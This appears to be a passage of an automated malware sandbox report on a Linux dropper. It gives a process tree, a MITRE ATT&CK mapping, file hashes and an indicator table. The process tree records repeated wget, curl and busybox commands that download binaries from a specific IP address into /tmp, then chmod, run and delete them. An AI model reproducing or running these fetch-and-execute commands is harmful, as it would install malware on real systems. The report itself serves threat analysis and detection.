- /tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  ./EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
  2⤵
  PID:995
- /usr/bin/wget
  wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:996
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:998
- /bin/chmod
  chmod 777 VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - File and Directory Permissions Modification
  PID:999
- /tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  ./VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  - Executes dropped EXE
  PID:1000
- /bin/rm
  rm VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
  2⤵
  PID:1001
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:1002
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1003
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:1004
- /bin/chmod
  chmod 777 Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  ./Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:1008
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:1010
- /bin/chmod
  chmod 777 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - File and Directory Permissions Modification
  PID:1011
- /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  ./2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  - Executes dropped EXE
  PID:1012
- /bin/rm
  rm 2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
  2⤵
  PID:1013

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN

Path /tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	771	2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN
/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	778	UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	790	5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	818	uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	841	8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	847	wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	867	3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	892	aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	898	EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	904	VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	910	Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	916	YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	922	hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	928	8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
/tmp/8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5	934	8nkeXoCmhpybO03Qv3saatA5Rd3f1kFuc5
/tmp/wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa	940	wL6mFx2Mi6BR6ubcRW85LK5kaysNXS0UGa
/tmp/UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC	946	UteNypL9hKbT0DInVThhDIc2QOBLzN2lEC
/tmp/5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ	952	5BjQC0E0moTwFKF4i1zSUZvXN01gxS7YTQ
/tmp/uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5	958	uxYRSzEV9PrKGa5osayo8yY1oyQ4b7tlc5
/tmp/3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh	964	3JReQGwuWH8F4CdZHEm1ou5cmpaINT8urh
/tmp/aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt	970	aKTvt9V4jObeRNKM6Oa2LfuZMhg8D276bt
/tmp/YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl	976	YWqPMqw4AuOUxCoH5g6njm8bU1BlWC9YYl
/tmp/hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL	982	hQenNyW2LwAH8LmljJFLaOFtJBws53CrVL
/tmp/8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz	988	8bCYKVw1iSq4e3dmOYeSHcalslVxZXTONz
/tmp/EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l	994	EsovAi45fGSCFgFF875bb5Wu6nWnBwP50l
/tmp/VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V	1000	VnJeu2WsR9TYv5mTCzrsTlhEZJdXiKaC1V
/tmp/Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj	1006	Jpx3T71qOTWfRk33IYemRonNL8EExrHaBj
/tmp/2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN	1012	2UcuOqsuTTx2g9HGwFgcuyXr1HcUlXk9HN